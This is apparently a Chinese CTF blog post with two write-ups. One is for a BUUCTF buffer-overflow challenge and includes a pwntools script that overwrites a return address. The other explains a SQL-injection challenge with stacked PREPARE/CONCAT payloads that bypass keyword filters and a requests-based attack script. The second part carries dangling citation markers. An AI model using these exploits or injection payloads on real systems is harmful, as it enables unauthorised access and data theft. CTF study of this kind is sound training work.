buuctf ciscn_2019_n_11

首先用checksec检查,是64bit,然后用ida打开。

按tab键打开源码,查看func函数内容,发现有system函数,所以第一步找到cat /flag的地址,0x4006BE

 

然后gets(v1)函数,我们找到v1的地址0x30,再加上8,因为是64bit,如果是32便加4

接着编写脚本,运行得到flag。

from pwn import *
p = remote('node5.buuoj.cn', 29219)
p.sendline(b'a' * (0x30+8) + p64(0x4006BE))
p.interactive()

### BUUCTF eazy_sql 解题思路 在BUUCTF的`eazy_sql`题目中,主要考察的是SQL注入技巧以及如何通过特定方式绕过过滤机制。以下是针对该题目的详细分析和解决方法。 #### 题目背景 此题目属于SQL注入类挑战,目标是从数据库中提取敏感数据(如flag)。已知可以通过设置变量并执行动态SQL语句来完成操作[^1]。具体实现涉及以下几个关键点: 1. **利用MySQL准备语句功能** MySQL支持通过`PREPARE`命令创建可执行的SQL语句对象,并通过`EXECUTE`运行它。这种方式允许攻击者构建复杂的查询逻辑,甚至能够规避某些简单的字符过滤规则。 2. **字符串拼接技术** 如果存在对关键字(例如`SELECT`)的严格过滤,则可以借助`CONCAT()`函数将被拆分的关键字重新组合成合法的SQL语法。这种方法广泛应用于绕过基于正则表达式的防护措施。 3. **实际payload构造** 下面是一个典型的payload示例用于演示上述原理: ```sql 1';SET @sql = concat('sele','ct flag from `1919810931114514`;');PREPARE stmt from @sql;EXECUTE stmt;# ``` 这里先定义了一个名为`@sql`的会话级变量存储最终要被执行的完整SQL指令;接着调用`PREPARE`声明一个新的预处理语句实例命名为`stmt`;最后一步就是真正触发整个流程获取期望的结果集。 #### 扩展思考——其他可能的方向 除了直接尝试标准形式外,还可以探索更多潜在路径进一步巩固理解程度。比如参考另一个平台上的相似案例分享,在那里提到访问隐藏文件或许也是解锁谜底的重要线索之一[^3]。 --- ### 示例代码片段展示 为了更直观地说明问题所在及其解决方案,下面给出一段模拟环境下的Python脚本作为辅助工具供学习交流之用: ```python import requests url = 'http://example.com/vulnerable_page' data = { 'input': "1';SET @sql = concat('sele','ct database()');PREPARE stmt FROM @sql;EXECUTE stmt;#" } response = requests.post(url, data=data) if response.status_code == 200: print("[+] Request successful!") else: print(f"[-] Failed with status code {response.status_code}") ``` > 注:以上仅为理论探讨用途,请勿非法入侵任何真实系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值